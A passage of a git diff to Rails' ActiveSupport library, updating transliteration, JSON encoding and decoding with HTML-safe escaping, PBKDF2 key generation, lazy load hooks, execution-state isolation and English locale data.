+++ b/activesupport/lib/active_support/inflector/transliterate.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/multibyte"
 require "active_support/i18n"
 
 module ActiveSupport
   module Inflector
+    ALLOWED_ENCODINGS_FOR_TRANSLITERATE = [Encoding::UTF_8, Encoding::US_ASCII, Encoding::GB18030].freeze
+
     # Replaces non-ASCII characters with an ASCII approximation, or if none
     # exists, a replacement character which defaults to "?".
     #
@@ -49,57 +53,91 @@ module Inflector
     #
     # Now you can have different transliterations for each locale:
     #
-    #   I18n.locale = :en
-    #   transliterate('Jürgen')
+    #   transliterate('Jürgen', locale: :en)
     #   # => "Jurgen"
     #
-    #   I18n.locale = :de
-    #   transliterate('Jürgen')
+    #   transliterate('Jürgen', locale: :de)
     #   # => "Juergen"
-    def transliterate(string, replacement = "?".freeze)
+    #
+    # Transliteration is restricted to UTF-8, US-ASCII, and GB18030 strings.
+    # Other encodings will raise an ArgumentError.
+    def transliterate(string, replacement = "?", locale: nil)
       raise ArgumentError, "Can only transliterate strings. Received #{string.class.name}" unless string.is_a?(String)
+      raise ArgumentError, "Cannot transliterate strings with #{string.encoding} encoding" unless ALLOWED_ENCODINGS_FOR_TRANSLITERATE.include?(string.encoding)
+
+      return string.dup if string.ascii_only?
+      string = string.dup if string.frozen?
+
+      input_encoding = string.encoding
+
+      # US-ASCII is a subset of UTF-8 so we'll force encoding as UTF-8 if
+      # US-ASCII is given. This way we can let tidy_bytes handle the string
+      # in the same way as we do for UTF-8
+      string.force_encoding(Encoding::UTF_8) if string.encoding == Encoding::US_ASCII
+
+      # GB18030 is Unicode compatible but is not a direct mapping so needs to be
+      # transcoded. Using invalid/undef :replace will result in loss of data in
+      # the event of invalid characters, but since tidy_bytes will replace
+      # invalid/undef with a "?" we're safe to do the same beforehand
+      string.encode!(Encoding::UTF_8, invalid: :replace, undef: :replace) if string.encoding == Encoding::GB18030
 
-      I18n.transliterate(ActiveSupport::Multibyte::Unicode.normalize(
-        ActiveSupport::Multibyte::Unicode.tidy_bytes(string), :c),
-          replacement: replacement)
+      transliterated = I18n.transliterate(
+        ActiveSupport::Multibyte::Unicode.tidy_bytes(string).unicode_normalize(:nfc),
+        replacement: replacement,
+        locale: locale
+      )
+
+      # Restore the string encoding of the input if it was not UTF-8.
+      # Apply invalid/undef :replace as tidy_bytes does
+      transliterated.encode!(input_encoding, invalid: :replace, undef: :replace) if input_encoding != transliterated.encoding
+
+      transliterated
     end
 
     # Replaces special characters in a string so that it may be used as part of
     # a 'pretty' URL.
     #
     #   parameterize("Donald E. Knuth") # => "donald-e-knuth"
-    #   parameterize("^trés|Jolie-- ")  # => "tres-jolie"
+    #   parameterize("^très|Jolie-- ")  # => "tres-jolie"
     #
-    # To use a custom separator, override the `separator` argument.
+    # To use a custom separator, override the +separator+ argument.
     #
-    #  parameterize("Donald E. Knuth", separator: '_') # => "donald_e_knuth"
-    #  parameterize("^trés|Jolie-- ", separator: '_')  # => "tres_jolie"
+    #   parameterize("Donald E. Knuth", separator: '_') # => "donald_e_knuth"
+    #   parameterize("^très|Jolie__ ", separator: '_')  # => "tres_jolie"
     #
-    # To preserve the case of the characters in a string, use the `preserve_case` argument.
+    # To preserve the case of the characters in a string, use the +preserve_case+ argument.
     #
     #   parameterize("Donald E. Knuth", preserve_case: true) # => "Donald-E-Knuth"
-    #   parameterize("^trés|Jolie-- ", preserve_case: true) # => "tres-Jolie"
+    #   parameterize("^très|Jolie-- ", preserve_case: true) # => "tres-Jolie"
+    #
+    # It preserves dashes and underscores unless they are used as separators:
     #
-    def parameterize(string, separator: "-", preserve_case: false)
+    #   parameterize("^très|Jolie__ ")                 # => "tres-jolie__"
+    #   parameterize("^très|Jolie-- ", separator: "_") # => "tres_jolie--"
+    #   parameterize("^très_Jolie-- ", separator: ".") # => "tres_jolie--"
+    #
+    # If the optional parameter +locale+ is specified,
+    # the word will be parameterized as a word of that language.
+    # By default, this parameter is set to <tt>nil</tt> and it will use
+    # the configured <tt>I18n.locale</tt>.
+    def parameterize(string, separator: "-", preserve_case: false, locale: nil)
       # Replace accented chars with their ASCII equivalents.
-      parameterized_string = transliterate(string)
+      parameterized_string = transliterate(string, locale: locale)
 
       # Turn unwanted chars into the separator.
       parameterized_string.gsub!(/[^a-z0-9\-_]+/i, separator)
 
       unless separator.nil? || separator.empty?
-        if separator == "-".freeze
-          re_duplicate_separator        = /-{2,}/
-          re_leading_trailing_separator = /^-|-$/i
+        # No more than one of the separator in a row.
+        if separator.length == 1
+          parameterized_string.squeeze!(separator)
         else
           re_sep = Regexp.escape(separator)
-          re_duplicate_separator        = /#{re_sep}{2,}/
-          re_leading_trailing_separator = /^#{re_sep}|#{re_sep}$/i
+          parameterized_string.gsub!(/#{re_sep}{2,}/, separator)
         end
-        # No more than one of the separator in a row.
-        parameterized_string.gsub!(re_duplicate_separator, separator)
         # Remove leading/trailing separator.
-        parameterized_string.gsub!(re_leading_trailing_separator, "".freeze)
+        parameterized_string.delete_prefix!(separator)
+        parameterized_string.delete_suffix!(separator)
       end
 
       parameterized_string.downcase! unless preserve_case
diff --git a/activesupport/lib/active_support/isolated_execution_state.rb b/activesupport/lib/active_support/isolated_execution_state.rb
new file mode 100644
index 0000000000000..0be621760205d
--- /dev/null
+++ b/activesupport/lib/active_support/isolated_execution_state.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module IsolatedExecutionState # :nodoc:
+    @isolation_level = nil
+
+    Thread.attr_accessor :active_support_execution_state
+    Fiber.attr_accessor :active_support_execution_state
+
+    class << self
+      attr_reader :isolation_level, :scope
+
+      def isolation_level=(level)
+        return if level == @isolation_level
+
+        unless %i(thread fiber).include?(level)
+          raise ArgumentError, "isolation_level must be `:thread` or `:fiber`, got: `#{level.inspect}`"
+        end
+
+        clear if @isolation_level
+
+        @scope =
+          case level
+          when :thread; Thread
+          when :fiber; Fiber
+          end
+
+        @isolation_level = level
+      end
+
+      def [](key)
+        if state = @scope.current.active_support_execution_state
+          state[key]
+        end
+      end
+
+      def []=(key, value)
+        state = (@scope.current.active_support_execution_state ||= {})
+        state[key] = value
+      end
+
+      def key?(key)
+        @scope.current.active_support_execution_state&.key?(key)
+      end
+
+      def delete(key)
+        @scope.current.active_support_execution_state&.delete(key)
+      end
+
+      def clear
+        @scope.current.active_support_execution_state&.clear
+      end
+
+      def context
+        scope.current
+      end
+
+      def share_with(other, except: [], &block)
+        # Action Controller streaming spawns a new thread and copy thread locals.
+        # We do the same here for backward compatibility, but this is very much a hack
+        # and streaming should be rethought.
+        if state = other.active_support_execution_state
+          copied_state = state.dup
+          Array(except).each { |key| copied_state.delete(key) }
+        end
+
+        old_state, context.active_support_execution_state = context.active_support_execution_state, copied_state
+        block.call
+      ensure
+        context.active_support_execution_state = old_state
+      end
+    end
+
+    self.isolation_level = :thread
+  end
+end
diff --git a/activesupport/lib/active_support/json.rb b/activesupport/lib/active_support/json.rb
index da938d1555d51..d7887175c042b 100644
--- a/activesupport/lib/active_support/json.rb
+++ b/activesupport/lib/active_support/json.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 require "active_support/json/decoding"
 require "active_support/json/encoding"
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index f487fa0c652bf..75605eb31ff88 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -1,24 +1,28 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attribute_accessors"
 require "active_support/core_ext/module/delegation"
 require "json"
 
 module ActiveSupport
-  # Look for and parse json strings that look like ISO 8601 times.
+  # Look for and parse JSON strings that look like ISO 8601 times.
   mattr_accessor :parse_json_times
 
   module JSON
     # matches YAML-formatted dates
-    DATE_REGEX = /^\d{4}-\d{2}-\d{2}$/
-    DATETIME_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?)$/
+    DATE_REGEX = /\A\d{4}-\d{2}-\d{2}\z/
+    DATETIME_REGEX = /\A(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?)?)\z/
 
     class << self
-      # Parses a JSON string (JavaScript Object Notation) into a hash.
+      # Parses a JSON string (JavaScript Object Notation) into a Ruby object.
       # See http://www.json.org for more info.
       #
       #   ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
-      #   => {"team" => "rails", "players" => "36"}
-      def decode(json)
-        data = ::JSON.parse(json, quirks_mode: true)
+      #   # => {"team" => "rails", "players" => "36"}
+      #   ActiveSupport::JSON.decode("2.39")
+      #   # => 2.39
+      def decode(json, options = {})
+        data = ::JSON.parse(json, options)
 
         if ActiveSupport.parse_json_times
           convert_dates_from(data)
@@ -26,6 +30,7 @@ def decode(json)
           data
         end
       end
+      alias_method :load, :decode
 
       # Returns the class of the error that will be raised when there is an
       # error in decoding JSON. Using this method means you won't directly
@@ -42,33 +47,32 @@ def parse_error
       end
 
       private
-
-      def convert_dates_from(data)
-        case data
-        when nil
-          nil
-        when DATE_REGEX
-          begin
-            Date.parse(data)
-          rescue ArgumentError
-            data
-          end
-        when DATETIME_REGEX
-          begin
-            Time.zone.parse(data)
-          rescue ArgumentError
+        def convert_dates_from(data)
+          case data
+          when nil
+            nil
+          when DATE_REGEX
+            begin
+              Date.parse(data)
+            rescue ArgumentError
+              data
+            end
+          when DATETIME_REGEX
+            begin
+              Time.zone.parse(data)
+            rescue ArgumentError
+              data
+            end
+          when Array
+            data.map! { |d| convert_dates_from(d) }
+          when Hash
+            data.transform_values! do |value|
+              convert_dates_from(value)
+            end
+          else
             data
           end
-        when Array
-          data.map! { |d| convert_dates_from(d) }
-        when Hash
-          data.each do |key, value|
-            data[key] = convert_dates_from(value)
-          end
-        else
-          data
         end
-      end
     end
   end
 end
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index defaf3f395a4e..d9826dee4933d 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/json"
 require "active_support/core_ext/module/delegation"
 
@@ -6,22 +8,71 @@ class << self
     delegate :use_standard_json_time_format, :use_standard_json_time_format=,
       :time_precision, :time_precision=,
       :escape_html_entities_in_json, :escape_html_entities_in_json=,
+      :escape_js_separators_in_json, :escape_js_separators_in_json=,
       :json_encoder, :json_encoder=,
       to: :'ActiveSupport::JSON::Encoding'
   end
 
   module JSON
-    # Dumps objects in JSON (JavaScript Object Notation).
-    # See http://www.json.org for more info.
-    #
-    #   ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
-    #   # => "{\"team\":\"rails\",\"players\":\"36\"}"
-    def self.encode(value, options = nil)
-      Encoding.json_encoder.new(options).encode(value)
+    class << self
+      # Dumps objects in JSON (JavaScript Object Notation).
+      # See http://www.json.org for more info.
+      #
+      #   ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
+      #   # => "{\"team\":\"rails\",\"players\":\"36\"}"
+      #
+      # By default, it generates JSON that is safe to include in JavaScript, as
+      # it escapes U+2028 (Line Separator) and U+2029 (Paragraph Separator):
+      #
+      #   ActiveSupport::JSON.encode({ key: "\u2028" })
+      #   # => "{\"key\":\"\\u2028\"}"
+      #
+      # By default, it also generates JSON that is safe to include in HTML, as
+      # it escapes <tt><</tt>, <tt>></tt>, and <tt>&</tt>:
+      #
+      #   ActiveSupport::JSON.encode({ key: "<>&" })
+      #   # => "{\"key\":\"\\u003c\\u003e\\u0026\"}"
+      #
+      # This behavior can be changed with the +escape_html_entities+ option, or the
+      # global escape_html_entities_in_json configuration option.
+      #
+      #   ActiveSupport::JSON.encode({ key: "<>&" }, escape_html_entities: false)
+      #   # => "{\"key\":\"<>&\"}"
+      #
+      # For performance reasons, you can set the +escape+ option to false,
+      # which will skip all escaping:
+      #
+      #   ActiveSupport::JSON.encode({ key: "\u2028<>&" }, escape: false)
+      #   # => "{\"key\":\"\u2028<>&\"}"
+      def encode(value, options = nil)
+        if options.nil? || options.empty?
+          Encoding.encode_without_options(value)
+        elsif options == { escape: false }.freeze
+          Encoding.encode_without_escape(value)
+        else
+          Encoding.json_encoder.new(options).encode(value)
+        end
+      end
+      alias_method :dump, :encode
     end
 
-    module Encoding #:nodoc:
-      class JSONGemEncoder #:nodoc:
+    module Encoding # :nodoc:
+      U2028 = -"\u2028".b
+      U2029 = -"\u2029".b
+
+      ESCAPED_CHARS = {
+        U2028 => '\u2028'.b,
+        U2029 => '\u2029'.b,
+        ">".b => '\u003e'.b,
+        "<".b => '\u003c'.b,
+        "&".b => '\u0026'.b,
+      }
+
+      HTML_ENTITIES_REGEX = Regexp.union(*(ESCAPED_CHARS.keys - [U2028, U2029]))
+      FULL_ESCAPE_REGEX = Regexp.union(*ESCAPED_CHARS.keys)
+      JS_SEPARATORS_REGEX = Regexp.union(U2028, U2029)
+
+      class JSONGemEncoder # :nodoc:
         attr_reader :options
 
         def initialize(options = nil)
@@ -30,45 +81,29 @@ def initialize(options = nil)
 
         # Encode the given object into a JSON string
         def encode(value)
-          stringify jsonify value.as_json(options.dup)
-        end
+          unless options.empty?
+            value = value.as_json(options.dup.freeze)
+          end
+          json = stringify(jsonify(value))
 
-        private
-          # Rails does more escaping than the JSON gem natively does (we
-          # escape \u2028 and \u2029 and optionally >, <, & to work around
-          # certain browser problems).
-          ESCAPED_CHARS = {
-            "\u2028" => '\u2028',
-            "\u2029" => '\u2029',
-            ">"      => '\u003e',
-            "<"      => '\u003c',
-            "&"      => '\u0026',
-            }
-
-          ESCAPE_REGEX_WITH_HTML_ENTITIES = /[\u2028\u2029><&]/u
-          ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
-
-          # This class wraps all the strings we see and does the extra escaping
-          class EscapedString < String #:nodoc:
-            def to_json(*)
-              if Encoding.escape_html_entities_in_json
-                super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
-              else
-                super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS
-              end
-            end
+          return json unless @options.fetch(:escape, true)
 
-            def to_s
-              self
+          json.force_encoding(::Encoding::BINARY)
+          if @options.fetch(:escape_html_entities, Encoding.escape_html_entities_in_json)
+            if Encoding.escape_js_separators_in_json
+              json.gsub!(FULL_ESCAPE_REGEX, ESCAPED_CHARS)
+            else
+              json.gsub!(HTML_ENTITIES_REGEX, ESCAPED_CHARS)
             end
+          elsif Encoding.escape_js_separators_in_json
+            json.gsub!(JS_SEPARATORS_REGEX, ESCAPED_CHARS)
           end
+          json.force_encoding(::Encoding::UTF_8)
+        end
 
-          # Mark these as private so we don't leak encoding-specific constructs
-          private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
-            :ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
-
+        private
           # Convert an object into a "JSON-ready" representation composed of
-          # primitives like Hash, Array, String, Numeric,
+          # primitives like Hash, Array, String, Symbol, Numeric,
           # and +true+/+false+/+nil+.
           # Recursively calls #as_json to the object to recursively build a
           # fully JSON-ready object.
@@ -82,23 +117,89 @@ def to_s
           # calls.
           def jsonify(value)
             case value
-            when String
-              EscapedString.new(value)
-            when Numeric, NilClass, TrueClass, FalseClass
+            when String, Integer, Symbol, nil, true, false
+              value
+            when Numeric
               value.as_json
             when Hash
-              Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+              result = {}
+              value.each do |k, v|
+                k = k.to_s unless Symbol === k || String === k
+                result[k] = jsonify(v)
+              end
+              result
             when Array
               value.map { |v| jsonify(v) }
             else
-              jsonify value.as_json
+              if defined?(::JSON::Fragment) && ::JSON::Fragment === value
+                value
+              else
+                jsonify value.as_json
+              end
             end
           end
 
           # Encode a "jsonified" Ruby data structure using the JSON gem
           def stringify(jsonified)
-            ::JSON.generate(jsonified, quirks_mode: true, max_nesting: false)
+            ::JSON.generate(jsonified)
+          end
+      end
+
+      # ruby/json 2.14.x yields non-String keys but doesn't let us know it's a key
+      if defined?(::JSON::Coder) && Gem::Version.new(::JSON::VERSION) >= Gem::Version.new("2.15.2")
+        class JSONGemCoderEncoder # :nodoc:
+          JSON_NATIVE_TYPES = [Hash, Array, Float, String, Symbol, Integer, NilClass, TrueClass, FalseClass, ::JSON::Fragment].freeze
+          CODER = ::JSON::Coder.new do |value, is_key|
+            json_value = value.as_json
+            # Keep compatibility by calling to_s on non-String keys
+            next json_value.to_s if is_key
+            # Handle objects returning self from as_json
+            if json_value.equal?(value)
+              next ::JSON::Fragment.new(::JSON.generate(json_value))
+            end
+            # Handle objects not returning JSON-native types from as_json
+            count = 5
+            until JSON_NATIVE_TYPES.include?(json_value.class)
+              raise SystemStackError if count == 0
+              json_value = json_value.as_json
+              count -= 1
+            end
+            json_value
+          end
+
+
+          def initialize(options = nil)
+            if options
+              options = options.dup
+              @escape = options.delete(:escape) { true }
+              @options = options.freeze
+            else
+              @escape = true
+              @options = {}.freeze
+            end
           end
+
+          # Encode the given object into a JSON string
+          def encode(value)
+            value = value.as_json(@options) unless @options.empty?
+
+            json = CODER.dump(value)
+
+            return json unless @escape
+
+            json.force_encoding(::Encoding::BINARY)
+            if @options.fetch(:escape_html_entities, Encoding.escape_html_entities_in_json)
+              if Encoding.escape_js_separators_in_json
+                json.gsub!(FULL_ESCAPE_REGEX, ESCAPED_CHARS)
+              else
+                json.gsub!(HTML_ENTITIES_REGEX, ESCAPED_CHARS)
+              end
+            elsif Encoding.escape_js_separators_in_json
+              json.gsub!(JS_SEPARATORS_REGEX, ESCAPED_CHARS)
+            end
+            json.force_encoding(::Encoding::UTF_8)
+          end
+        end
       end
 
       class << self
@@ -110,18 +211,45 @@ class << self
         # as a safety measure.
         attr_accessor :escape_html_entities_in_json
 
+        # If true, encode LINE SEPARATOR (U+2028) and PARAGRAPH SEPARATOR (U+2029)
+        # as escaped unicode sequences ('\u2028' and '\u2029').
+        # Historically these characters were not valid inside JavaScript strings
+        # but that changed in ECMAScript 2019. As such it's no longer a concern in
+        # modern browsers: https://caniuse.com/mdn-javascript_builtins_json_json_superset.
+        attr_accessor :escape_js_separators_in_json
+
         # Sets the precision of encoded time values.
         # Defaults to 3 (equivalent to millisecond precision)
         attr_accessor :time_precision
 
-        # Sets the encoder used by Rails to encode Ruby objects into JSON strings
+        # Sets the encoder used by \Rails to encode Ruby objects into JSON strings
         # in +Object#to_json+ and +ActiveSupport::JSON.encode+.
-        attr_accessor :json_encoder
+        attr_reader :json_encoder
+
+        def json_encoder=(encoder)
+          @json_encoder = encoder
+          @encoder_without_options = encoder.new
+          @encoder_without_escape = encoder.new(escape: false)
+        end
+
+        def encode_without_options(value) # :nodoc:
+          @encoder_without_options.encode(value)
+        end
+
+        def encode_without_escape(value) # :nodoc:
+          @encoder_without_escape.encode(value)
+        end
       end
 
       self.use_standard_json_time_format = true
       self.escape_html_entities_in_json  = true
-      self.json_encoder = JSONGemEncoder
+      self.escape_js_separators_in_json = true
+      self.json_encoder =
+        if defined?(JSONGemCoderEncoder)
+          JSONGemCoderEncoder
+        else
+          JSONGemEncoder
+        end
       self.time_precision = 3
     end
   end
diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb
index 23ab804eb1c8f..8e75fba23b6b4 100644
--- a/activesupport/lib/active_support/key_generator.rb
+++ b/activesupport/lib/active_support/key_generator.rb
@@ -1,30 +1,57 @@
+# frozen_string_literal: true
+
 require "concurrent/map"
 require "openssl"
 
 module ActiveSupport
+  # = Key Generator
+  #
   # KeyGenerator is a simple wrapper around OpenSSL's implementation of PBKDF2.
   # It can be used to derive a number of keys for various purposes from a given secret.
-  # This lets Rails applications have a single secure secret, but avoid reusing that
+  # This lets \Rails applications have a single secure secret, but avoid reusing that
   # key in multiple incompatible contexts.
   class KeyGenerator
+    class << self
+      def hash_digest_class=(klass)
+        if klass.kind_of?(Class) && klass < OpenSSL::Digest
+          @hash_digest_class = klass
+        else
+          raise ArgumentError, "#{klass} is expected to be an OpenSSL::Digest subclass"
+        end
+      end
+
+      def hash_digest_class
+        @hash_digest_class ||= OpenSSL::Digest::SHA1
+      end
+    end
+
     def initialize(secret, options = {})
       @secret = secret
       # The default iterations are higher than required for our key derivation uses
       # on the off chance someone uses this for password storage
       @iterations = options[:iterations] || 2**16
+      # Also allow configuration here so people can use this to build a rotation
+      # scheme when switching the digest class.
+      @hash_digest_class = options[:hash_digest_class] || self.class.hash_digest_class
     end
 
-    # Returns a derived key suitable for use.  The default key_size is chosen
+    # Returns a derived key suitable for use.  The default +key_size+ is chosen
     # to be compatible with the default settings of ActiveSupport::MessageVerifier.
-    # i.e. OpenSSL::Digest::SHA1#block_length
+    # i.e. <tt>OpenSSL::Digest::SHA1#block_length</tt>
     def generate_key(salt, key_size = 64)
-      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
+      OpenSSL::PKCS5.pbkdf2_hmac(@secret, salt, @iterations, key_size, @hash_digest_class.new)
+    end
+
+    def inspect # :nodoc:
+      "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
     end
   end
 
+  # = Caching Key Generator
+  #
   # CachingKeyGenerator is a wrapper around KeyGenerator which allows users to avoid
-  # re-executing the key generation process when it's called using the same salt and
-  # key_size.
+  # re-executing the key generation process when it's called using the same +salt+ and
+  # +key_size+.
   class CachingKeyGenerator
     def initialize(key_generator)
       @key_generator = key_generator
@@ -33,39 +60,7 @@ def initialize(key_generator)
 
     # Returns a derived key suitable for use.
     def generate_key(*args)
-      @cache_keys[args.join] ||= @key_generator.generate_key(*args)
-    end
-  end
-
-  class LegacyKeyGenerator # :nodoc:
-    SECRET_MIN_LENGTH = 30 # Characters
-
-    def initialize(secret)
-      ensure_secret_secure(secret)
-      @secret = secret
+      @cache_keys[args.join("|")] ||= @key_generator.generate_key(*args)
     end
-
-    def generate_key(salt)
-      @secret
-    end
-
-    private
-
-      # To prevent users from using something insecure like "Password" we make sure that the
-      # secret they've provided is at least 30 characters in length.
-      def ensure_secret_secure(secret)
-        if secret.blank?
-          raise ArgumentError, "A secret is required to generate an integrity hash " \
-            "for cookie session data. Set a secret_key_base of at least " \
-            "#{SECRET_MIN_LENGTH} characters in config/secrets.yml."
-        end
-
-        if secret.length < SECRET_MIN_LENGTH
-          raise ArgumentError, "Secret should be something secure, " \
-            "like \"#{SecureRandom.hex(16)}\". The value you " \
-            "provided, \"#{secret}\", is shorter than the minimum length " \
-            "of #{SECRET_MIN_LENGTH} characters."
-        end
-      end
   end
 end
diff --git a/activesupport/lib/active_support/lazy_load_hooks.rb b/activesupport/lib/active_support/lazy_load_hooks.rb
index 720ed47331feb..456e7be84f3da 100644
--- a/activesupport/lib/active_support/lazy_load_hooks.rb
+++ b/activesupport/lib/active_support/lazy_load_hooks.rb
@@ -1,12 +1,16 @@
+# frozen_string_literal: true
+
 module ActiveSupport
-  # lazy_load_hooks allows Rails to lazily load a lot of components and thus
+  # = Lazy Load Hooks
+  #
+  # LazyLoadHooks allows \Rails to lazily load a lot of components and thus
   # making the app boot faster. Because of this feature now there is no need to
-  # require <tt>ActiveRecord::Base</tt> at boot time purely to apply
+  # require +ActiveRecord::Base+ at boot time purely to apply
   # configuration. Instead a hook is registered that applies configuration once
-  # <tt>ActiveRecord::Base</tt> is loaded. Here <tt>ActiveRecord::Base</tt> is
+  # +ActiveRecord::Base+ is loaded. Here +ActiveRecord::Base+ is
   # used as example but this feature can be applied elsewhere too.
   #
-  # Here is an example where +on_load+ method is called to register a hook.
+  # Here is an example where on_load method is called to register a hook.
   #
   #   initializer 'active_record.initialize_timezone' do
   #     ActiveSupport.on_load(:active_record) do
@@ -16,42 +20,87 @@ module ActiveSupport
   #   end
   #
   # When the entirety of +ActiveRecord::Base+ has been
-  # evaluated then +run_load_hooks+ is invoked. The very last line of
+  # evaluated then run_load_hooks is invoked. The very last line of
   # +ActiveRecord::Base+ is:
   #
   #   ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+  #
+  # run_load_hooks will then execute all the hooks that were registered
+  # with the on_load method. In the case of the above example, it will
+  # execute the block of code that is in the +initializer+.
+  #
+  # Registering a hook that has already run results in that hook executing
+  # immediately. This allows hooks to be nested for code that relies on
+  # multiple lazily loaded components:
+  #
+  #   initializer "action_text.renderer" do
+  #     ActiveSupport.on_load(:action_controller_base) do
+  #       ActiveSupport.on_load(:action_text_content) do
+  #         self.default_renderer = Class.new(ActionController::Base).renderer
+  #       end
+  #     end
+  #   end
   module LazyLoadHooks
     def self.extended(base) # :nodoc:
       base.class_eval do
         @load_hooks = Hash.new { |h, k| h[k] = [] }
         @loaded     = Hash.new { |h, k| h[k] = [] }
+        @run_once   = Hash.new { |h, k| h[k] = [] }
       end
     end
 
-    # Declares a block that will be executed when a Rails component is fully
-    # loaded.
+    # Declares a block that will be executed when a \Rails component is fully
+    # loaded. If the component has already loaded, the block is executed
+    # immediately.
+    #
+    # ==== Options
+    #
+    # * <tt>:yield</tt> - Yields the object that run_load_hooks to +block+.
+    # * <tt>:run_once</tt> - Given +block+ will run only once.
     def on_load(name, options = {}, &block)
       @loaded[name].each do |base|
-        execute_hook(base, options, block)
+        execute_hook(name, base, options, block)
       end
 
       @load_hooks[name] << [block, options]
     end
 
-    def execute_hook(base, options, block)
-      if options[:yield]
-        block.call(base)
-      else
-        base.instance_eval(&block)
-      end
-    end
-
+    # Executes all blocks registered to +name+ via on_load, using +base+ as the
+    # evaluation context.
+    #
+    #   ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+    #
+    # In the case of the above example, it will execute all hooks registered
+    # for +:active_record+ within the class +ActiveRecord::Base+.
     def run_load_hooks(name, base = Object)
       @loaded[name] << base
       @load_hooks[name].each do |hook, options|
-        execute_hook(base, options, hook)
+        execute_hook(name, base, options, hook)
       end
     end
+
+    private
+      def with_execution_control(name, block, once)
+        unless @run_once[name].include?(block)
+          @run_once[name] << block if once
+
+          yield
+        end
+      end
+
+      def execute_hook(name, base, options, block)
+        with_execution_control(name, block, options[:run_once]) do
+          if options[:yield]
+            block.call(base)
+          else
+            if base.is_a?(Module)
+              base.class_eval(&block)
+            else
+              base.instance_eval(&block)
+            end
+          end
+        end
+      end
   end
 
   extend LazyLoadHooks
diff --git a/activesupport/lib/active_support/locale/en.rb b/activesupport/lib/active_support/locale/en.rb
new file mode 100644
index 0000000000000..29eb9dec0c8c2
--- /dev/null
+++ b/activesupport/lib/active_support/locale/en.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+{
+  en: {
+    number: {
+      nth: {
+        ordinals: lambda do |_key, options|
+          number = options[:number]
+          case number
+          when 1; "st"
+          when 2; "nd"
+          when 3; "rd"
+          when 4, 5, 6, 7, 8, 9, 10, 11, 12, 13; "th"
+          else
+            num_modulo = number.to_i.abs % 100
+            num_modulo %= 10 if num_modulo > 13
+            case num_modulo
+            when 1; "st"
+            when 2; "nd"
+            when 3; "rd"
+            else    "th"
+            end
+          end
+        end,
+
+        ordinalized: lambda do |_key, options|
+          number = options[:number]
+          "#{number}#{ActiveSupport::Inflector.ordinal(number)}"
+        end
+      }
+    }
+  }
+}
diff --git a/activesupport/lib/active_support/locale/en.yml b/activesupport/lib/active_support/locale/en.yml
index c64b7598ee39e..52134208065f9 100644
--- a/activesupport/lib/active_support/locale/en.yml
+++ b/activesupport/lib/active_support/locale/en.yml
@@ -44,22 +44,26 @@ en:
       delimiter: ","
       # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
       precision: 3
+      # Determine how rounding is performed (see BigDecimal::mode)
+      round_mode: default
       # If set to true, precision will mean the number of significant digits instead
       # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
       significant: false
-      # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+      # If set, the zeros after the decimal separator will always be stripped (e.g.: 1.200 will be 1.2)
       strip_insignificant_zeros: false
 
     # Used in NumberHelper.number_to_currency()
     currency:
       format:
-        # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00)
+        # Where is the currency sign? %u is the currency unit, %n is the number (default: $5.00)
         format: "%u%n"
+        negative_format: "-%u%n"
         unit: "$"
-        # These five are to override number.format and are optional
+        # These six are to override number.format and are optional
         separator: "."
         delimiter: ","
         precision: 2
+        # round_mode:
         significant: false
         strip_insignificant_zeros: false
 
@@ -87,10 +91,11 @@ en:
     # Used in NumberHelper.number_to_human_size() and NumberHelper.number_to_human()
     human:
       format:
-        # These five are to override number.format and are optional
+        # These six are to override number.format and are optional
         # separator:
         delimiter: ""
         precision: 3
+        # round_mode:
         significant: true
         strip_insignificant_zeros: true
       # Used in number_to_human_size()
@@ -108,6 +113,7 @@ en:
           tb: "TB"
           pb: "PB"
           eb: "EB"
+          zb: "ZB"
       # Used in NumberHelper.number_to_human()
       decimal_units:
         format: "%n %u"
diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb
index e2c4f3356575d..729ddec619593 100644
--- a/activesupport/lib/active_support/log_subscriber.rb
+++ b/activesupport/lib/active_support/log_subscriber.rb
@@ -1,9 +1,15 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attribute_accessors"
